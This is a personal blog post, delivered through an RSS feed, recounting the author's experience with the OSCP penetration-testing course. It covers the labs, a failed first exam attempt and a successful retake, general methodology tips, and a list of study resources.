&lt;p&gt;For almost a year I stuck to my plan and eventually it bore some fruit. As early as June I had enough money to avail the course. It was finally time to &lt;a href=&quot;https://www.offensive-security.com/preregistration.php?cid=21&quot;&gt;register&lt;/a&gt;. As I was not sponsored by my company, I had to do things a bit differently. For starters, when submitting your details at the Registration Sign-up Form, it requires you to submit scans of your government-issued ID. I sent over a pdf of my driver’s license scans to &lt;a href=&quot;mailto:registrar@offensive-security.com&quot;&gt;registrar@offensive-security.com&lt;/a&gt;. After acknowledging receipt, they sent an email containing confirmation of successful reservation for the course, my OSID/Student ID, and instructions for testing lab VPN connectivity and for paying the fees. I scheduled my labs to begin a full month after I registered as I figured it would not hurt to have final preparations before starting.&lt;/p&gt;

&lt;p&gt;And so it begun. There was no going back. To quote Canto III of the Inferno, “Abandon all hope, ye who enter here.”&lt;/p&gt;

&lt;h3 id=&quot;descending-the-rings-of-hell&quot;&gt;Descending the Rings of Hell&lt;/h3&gt;

&lt;p&gt;Labs started. I received my course materials and have downloaded the &lt;a href=&quot;https://support.offensive-security.com/#!pwk-kali-vm.md&quot;&gt;PWK VM&lt;/a&gt; in advance. Prior that, I joined a slack community, &lt;a href=&quot;https://netsecfocus.herokuapp.com/&quot;&gt;NetSecFocus&lt;/a&gt; where fellow students studied together. There was a channel where only students may join and where some Offsec student admins make appearances (all hail the great llama Abatchy!). Students and OSCP holders offered some great advice, articles and tools that helped in taking the course. If need be, I had the help of the student community at close reach as well as a wealth of knowledge from the course materials. At that moment I felt ready to take on the course.&lt;/p&gt;

&lt;p&gt;&lt;img height=&quot;300px&quot; width=&quot;500px&quot; src=&quot;https://basicinfosecurity.github.io//assets/img/baby groot.jpg&quot; alt=&quot;baby groot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the same evening I took down my first machine, Alice. It was a really easy machine but a good first step. I begun to fulfill my quota of 1 machine/lab day, working 3 to 4 hours each weeknight and as much time in the weekends throughout the course. Of course there were times I was not able to stick to my quota: On some days I would be away on vacation, on some days I would be stuck on some boxes. Nevertheless I finished all the lab machines across three subnets. It was only in the labs that I was able to learn pivoting and client side attacks. As I progressed, I formed my own methodology based on what worked best. I discovered that:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Information gathering is very important.&lt;/strong&gt; Take down as many notes as you can. Capture screenshots whenever you’ve confirmed a vulnerability, any vulnerability, especially once you’ve escalated privileges. The purpose of a good information gathering phase is twofold. First, the more time spent on this phase, the less time you need to compromise the target. If ever there’s a time a wall has been reached, it is most likely there is not enough information to go by. Second, it will prevent you from backtracking by providing you enough material to build your Lab Report. Submitting a Lab Report helps a student pass by adding 5 bonus points to your exam score.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Pay attention to details.&lt;/strong&gt; Sometimes, &lt;em&gt;the devil is in the details.&lt;/em&gt; Learn to put two and two together and you’ll be able to see the bigger picture.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;A good Post-Exploitation phase helps in lateral movement.&lt;/strong&gt; Once you’ve successfully taken down a machine, explore it. Because the lab machines form a corporate network, they have relationships to other lab machines that become apparent upon further inspection. This was an entirely new concept to me as I was so used to isolated Vulnhub VMs that required no prerequisites and that required only direct attacks.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Build a Kit.&lt;/strong&gt; It’s annoying to have to go back and forth transferring multiple tools and exploits from your machine to your target. Make the process easier by building a kit. A good kit is composed of tools that will aid you in transferring other tools, creating backdoors, uncovering credentials and escalating privileges. My kit is usually composed of a privilege escalation suggester script, netcat, two well-known kernel exploits, and credential dumping tools all packed inside a Zip archive. A Python SimpleHTTPServer is running to serve the kit and any of the individual files should Zip decompressing prove to be impossible.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Don’t go after the Big Four immediately.&lt;/strong&gt; This one is contentious, I think. Very often, students race to finish them for whatever reason. I think these machines serve a better purpose by helping students prepare for the exam. What I did with them is to simulate a “mock exam” by doing all of them simultaneously in addition to another lab box within the span of 24 hours. Though in my case, I failed by my own standards. Having stumbled on sufferance in my first 2 weeks, there were only three of the Big Four left for the mock exam. Not only that, after finishing all of these boxes I was so tired that by the end I was unable to do two more. The experience did teach me that the exam was no joke as it was both mentally and physically burdening. It also taught me that dwelling on a box before moving on severely hinders progress. It was better to switch boxes from time to time.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By the time I finished the entire lab network I had less than a week left of lab time. This time was used to rush my Lab Report ahaha. It was probably the most tedious part as I begun going through the lab materials right before the end. There were so many of these exercises to answer and to document that I had to sacrifice sleep time just to finish the report. Damn 5 bonus points.&lt;/p&gt;

&lt;h3 id=&quot;the-9th-circle&quot;&gt;The 9th Circle&lt;/h3&gt;
&lt;p&gt;&lt;img height=&quot;300px&quot; width=&quot;500px&quot; src=&quot;https://basicinfosecurity.github.io//assets/img/Gustave_Dore_Inferno34.jpg&quot; alt=&quot;cocytus&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After finishing the lab report, I had about two weeks ahead before taking the exam. This was the soonest schedule I got. Coming out of the labs, left me drained. The ordeal was toilsome though the end was also near. Or so I thought.&lt;/p&gt;

&lt;p&gt;My activity in the weeks ahead of the exam alternated between resting and practising. I figured that it was necessary to keep my health up while retaining everything the course taught me. I reviewed my notes and wrote “Lessons Learned” sections for each as refreshers. Kits were prepared. The lab report was cleaned up and an exam report template was also prepared.&lt;/p&gt;

&lt;p&gt;Exam day came. I was scheduled in the afternoon but only had 3 hours worth of sleep. Tossing and turning didn’t help get more. With each hour of unrest I grew more anxious that by the time I started I was wide awake with stress. It was only the beginning of worse things ahead. After 5 hours I got my first machine. 9 hours before exam ended I got my second. Five hours after, I got a low privileged shell on another. The rest of my time was consumed in desperately throwing every exploit I could find. My first exam attempt ended in miserable failure. During the exam, I could feel the stress washing over me in waves. Each frustrated attempt was punctuated by heavy exhalation. As each hour passed my head felt hotter, my heart beat faster, my hands shook more heavily and my eyes grew more bloodshot. In essence, I strayed from the methodology I’ve learned, let stress get to me and surrendered my fate to luck.&lt;/p&gt;

&lt;p&gt;I fought the battle to the bitter end. But the war went on.&lt;/p&gt;

&lt;h3 id=&quot;purgatorio&quot;&gt;Purgatorio&lt;/h3&gt;

&lt;p&gt;&lt;img height=&quot;700px&quot; width=&quot;500px&quot; src=&quot;https://basicinfosecurity.github.io//assets/img/purgatorio.jpg&quot; alt=&quot;purgatorio&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I knew I didn’t have enough points to pass. Even worse, there was one screenshot missing. So, there were even less points to not pass. Great.&lt;/p&gt;

&lt;p&gt;I contacted support to fail me so I could immediately schedule my next exam attempt. They were very obliging so after submitting my report, they sent instructions for the exam retake. The exam report was not necessary but I wanted experience on writing a proper one and I needed feedback on my performance.&lt;/p&gt;

&lt;p&gt;The following days were spent in dejection. Fear of failure was greater than before. I was haunted. But hope was there. I reviewed my weak areas and prepared accordingly. My confidence slowly restored. Doubt still lingered but I had to forge ahead in spite of it.&lt;/p&gt;

&lt;p&gt;Exam day came again. This time it went better. The preparations safeguarded me from previous pitfalls. On this attempt I went back to my roots, and got enough points to pass and remembered to secure screenshots! Writing the report for the second time was easier with the insights I learned from the first attempt. Three hours before the submission, the reports were finished, archived, uploaded and sent for review.&lt;/p&gt;

&lt;h3 id=&quot;paradiso&quot;&gt;Paradiso&lt;/h3&gt;

&lt;p&gt;The following day, Offsec sent this:
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/passed.png&quot; alt=&quot;passed&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It feels great to be OSCP. But honestly, I still feel like a &lt;em&gt;script kiddie&lt;/em&gt; in the sense that I still have a lot of things to learn.&lt;/p&gt;

&lt;p&gt;And that is what drives me, &lt;strong&gt;learning&lt;/strong&gt;. You would suspect that being acknowledged for hard work would imbue a greater sense of self-worth. But it is more correct to say that having been shown the great expanse of the InfoSec field made me more aware and more excited for my education.&lt;/p&gt;

&lt;p&gt;Achieving the highly regarded certification is no easy undertaking as it had drawn out potential I never thought I had. In the past I was satisfied with the rate at which I educated myself. My usual routine would be to gather free studying material on any topic I would fancy and go through them at a steady pace. After having grasped the material, it was tested out at my home lab. But with the PWK course, this process was exaggerated. I am tempted to say that the way I did things may have had a role to play, but the course’s difficulty, for the common security enthusiast, is the main factor in driving growth.&lt;/p&gt;

&lt;h3 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h3&gt;

&lt;p&gt;Offensive Security is known to urge people to &lt;em&gt;“Try Harder!”&lt;/em&gt; But I think their other pithy, golden phrase receives less emphasis: &lt;em&gt;“Stay Humble!”&lt;/em&gt; Abandon hope as if you’re starting humbly from scratch. Then take on the challenges. With each challenge overcome is hope regained. Failing is fine just as failure of fear is also fine. Just make sure to do better next time.&lt;/p&gt;

&lt;p&gt;I really enjoyed the course. Through it I proved I can be better. Most importantly, I gained new friends. I’d like to thank my study buddies at slack for their company and insights, my family, friends, and my girlfriend for all the encouragement and support. This is not yet the end so I hope I can depend on you again next time!&lt;/p&gt;

&lt;h3 id=&quot;study-materials&quot;&gt;Study Materials&lt;/h3&gt;
&lt;p&gt;For a complete beginner, I believe the materials below will help in preparing for the course. The more time invested, the closer to getting OSCP certified.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vulnhub.com/&quot;&gt;Vulnhub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploit-exercises.com/&quot;&gt;Exploit Exercises&lt;/a&gt; - these helped me study for Buffer Overflows and SUID/SGID vulnerabilities&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html&quot;&gt;OSCP-like Vulnhub VMs&lt;/a&gt; - I finished the beginner friendly and intermediate VMs before taking the exam.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybrary.it/&quot;&gt;Cybrary&lt;/a&gt; - I did not use this resource but beginners would find this very useful.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w&quot;&gt;LiveOverflow&lt;/a&gt; - Awesome video tutorials. Because of his videos, I grew to love GDB over any debugger.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/user/GynvaelEN/videos&quot;&gt;GynvaelEN&lt;/a&gt; - His videos might be advanced but informative.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/xapax/security/details&quot;&gt;Xapax’s Security Notepad&lt;/a&gt; - An excellent compendium of notes. Useful in Windows Exploitation.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;Basic Linux Privilege Escalation&lt;/a&gt; - a well known guide to linux privesc. It can be argued that a lot of people whether taking OSCP or not, owe something to this guide.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.fuzzysecurity.com/tutorials/16.html&quot;&gt;Windows Privilege Escalation Fundamentals&lt;/a&gt; - another well known guide for Windows privesc.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://highon.coffee/&quot;&gt;HighOn.Coffee&lt;/a&gt; - excellent resource for Web Vulnerabilities and attacks&lt;/li&gt;
&lt;/ul&gt;

</description>
        
          <description>&lt;p&gt;&lt;em&gt;This post took some time to write as I had my laptop’s keyboard fixed. In my eagerness to reach for water, I spilled it over my keyboard. If this happened during my exam, my bowels would have dropped with biblical magnitude.&lt;/em&gt;&lt;/p&gt;

</description>
        
        <pubDate>Tue, 17 Oct 2017 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/OSCP-and-Me/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/OSCP-and-Me/</guid>
        
        
      </item>
      
    
  </channel>
</rss>
